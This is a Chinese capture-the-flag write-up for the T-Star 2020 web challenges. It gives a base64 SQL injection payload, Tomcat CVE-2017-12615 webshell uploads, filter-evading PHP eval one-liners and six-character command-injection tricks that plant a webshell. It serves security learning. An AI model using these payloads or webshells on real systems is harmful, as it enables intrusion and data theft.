T-Star 2020 靶场赛 WriteUp
昨天开始的靶场赛,全是Web,除了最后两个SQL注入没做出来,其他全做出来了+复现出来了,这里记录几个比较有意思的题目。
你能爆破吗
首页有个登录界面,随便输入会返回查询的语句,可以发现存在特殊字符转义没办法注入。于是尝试用户名和密码均输入admin,显示如下界面:
发现服务器将刚才输入的用户名作为Cookie储存了起来,base64解密后是admin
:
尝试改为admin" or 1=1 limit 1,1#
,发现输出改变,说明存在SQL注入:
于是使用联合注入,完整的注入过程如下:
1 | SELECT * FROM users WHERE username="xxx" order by 2# |
最终发现flag
表,查询得到flag。对应的payload为eHh4IiB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoaWQpLGdyb3VwX2NvbmNhdChmbGFnKSBmcm9tIGZsYWcj
flag:flag{a405ef895ef46d96}
小猫咪踩灯泡
tomcat远程代码执行(CVE-2017-12615)
搜索了一下这个CVE,发现可以利用这个漏洞直接使用PUT方法上传文件。当conf/web.xml
中的readonly
参数为false
时,就可以直接PUT上传文件和DELETE删除文件。再借助Windows系统的文件扩展名解析漏洞,可以实现webshell上传,具体文件的扩展名方式可以有如下几种:
shell.jsp%20
shell.jsp::$DATA
shell.jsp/
更详细的复现过程可以看这篇文章,CVE官方描述链接:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12615
题目首页打开,就是个小游戏,和题目没啥太大关系:
然后直接抓包用Burp打shell上去,测试的时候发现只有shell.jsp/
这种方式,上传后才能够访问得到:
这个jsp的RCE代码如下,这个是基于网上一个带密码的版本改的(不知道为什么要带密码参数),改成了不需要传密码的版本:
1 | <% @ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8" %> |
传上去之后直接访问,使用cat /flag.txt
打出flag:
flag:flag{54e47be053bf6ea1}
文件上传
题目描述是文件上传str过滤
,首先想到双写和大小写。
首页是一个上传界面,测试之后发现只允许JPEG和GIF上传,且后端应该对文件头等信息进行了检测,不能单纯修改后缀名绕过。
于是使用cmd
的copy
命令,将一句话木马和图片文件压到一起:
一开始是传了个普通的一句话,直接上传,下载上传后的文件发现图片被做了修改:
于是猜测对<?
、php
、eval
做了过滤。尝试双写<<?? pphphp evevalal($_POST["aaa"]); ?>
,发现下载下来的图片中shell代码是完整的:
然后上传文件,用Burp修改后缀,发现改大小写.Php
没办法解析,.php5
,.php7
这样的后缀也都过滤掉了,最后试出来.pht
可以顺利解析:
于是连蚁剑,网站目录的上级中有key
文件,直接拿到flag:
flag:flag{Aa3c7c37508E40B3}
分析代码获得flag
打开获得源码:
1 |
|
是一个限制了长度的命令执行,每一条命令最长6个字符。
第一种方法
比赛的时候有搜到一种使用重定向符创建文件,再利用ls>文件名
将ls
的结果写入另一个文件,再通过sh
命令实现命令执行的方法,传送门,首先是利用重定向符创建一个类似ls -t>y
的脚本,然后就可以按文件创建时间来排序,写入数据就会方便得多(如果限制命令字符数为7上面就可以直接执行了,可是这里是6,所以要另外写个脚本)然后这个办法确实也是可行的,但是暂时没有可以用的服务器,所以就没弹成shell。。。最后参考了队友的解法,使用了base64加密的一句话木马,写上去然后直接蚁剑连接最后拿到flag。相当于执行了这些命令:
1 | echo PD9waHAgZXZhbCgkX1BPU1RbZXZpbF0pOw==|base64 -d>1.php |
ls -t>y
脚本是这么搞出来的:
1 | >l\\ |
实现了这个脚本,后面写别的东西也是差不多的原理,不过就简单多了,把要写的东西倒序执行,然后ls -t
按时间顺序排列就是正确的东西了。然后上面的命令拆成下面这样:
1 | >hp |
上面都执行一遍之后,执行一下_
将写入一句话的脚本写入文件sh _
,然后执行生成的文件y
写入一句话木马sh y
。
一个一个打比较费时间,直接写个脚本了:
1 | import requests |
跑完的效果如下:
然后蚁剑连美汁汁儿:
第二种方法
赛后又通过啥都会的群友,学到了第二种姿势:https://blog.csdn.net/nzjdsds/article/details/102940762
这里面最关键的一步就是,在Linux shell下输入通配符*
,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数。测试了一波,发现就是ls
命令的顺序。当然在*
后面再加参数也就相当于在*
指代的命令后面追加参数了。
我做了一个测试,在当前目录写一个xxx
文件,内容为123,在上一级目录写一个yyy
文件,内容为456,然后利用重定向符写一个cat
文件:
输入*
的效果如下,效果等价于cat xxx
:
输入* ../yyy
效果如下,效果等价于cat xxx ../yyy
:
用在题目上同理,只需要先写一个cat
文件,然后* ../key
就可以读到上级目录的key文件了,当然这里有字符数限制,所以改成通配符* ../*
:
flag:flag{a1c8BFF2}
其他师傅的wp:
https://0xfire.me/2020/06/30/T-Star高校挑战赛/、https://www.cnpanda.net/ctf/731.html
另:最后那道SQL2是某CTF的原题,改天把复现做了
https://github.com/XDSEC/xdsec_ctf/tree/494b53d388186e8be21e753bb2048362842280c1/xdctf2015/izyCTF